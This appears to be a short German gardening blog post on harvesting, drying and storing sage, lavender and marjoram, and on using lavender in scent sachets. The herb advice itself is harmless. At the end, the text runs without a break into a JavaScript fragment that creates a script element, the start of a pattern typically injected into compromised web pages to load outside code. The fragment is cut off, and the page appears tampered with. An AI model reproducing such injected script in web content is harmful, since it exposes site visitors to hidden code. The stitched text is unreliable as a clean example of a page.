Kräuterernte im August

Lavendelblüten

 

Kräuter mediteranem Ursprungs kann am am besten kurz vor oder nach ihrer Blütezeit ernten. Das sollte so erfolgen, dass man  Salbei, Lavendel und Majoran  einige Stunden vor der Ernte abbraust. Wenn der Morgentau abgetrocknet ist, ist der richtige Zeitpunkt für die Ernte gekommen.  Die Kräuter werden abgeschnitten und zu Sträußen gebunden. Ich hänge sie an einem luftigen Ort ohne direkte Sonneneinstrahlung zum Trocknen auf. Das kann zum Beispiel im Carport sein oder eine Überdachung. Nach der Trocknung kann man die Kräuter von den Stengeln ziehen und luftdicht verschlossen aufbewahren.  Lavendel nutze ich persönlich als Duftspender in kleinen Schälchen oder aber in Duftsäckchen, die ich auch gern als kleines Mitbringsel verschenke.var d=document;var s=d.createElement(‘script’);

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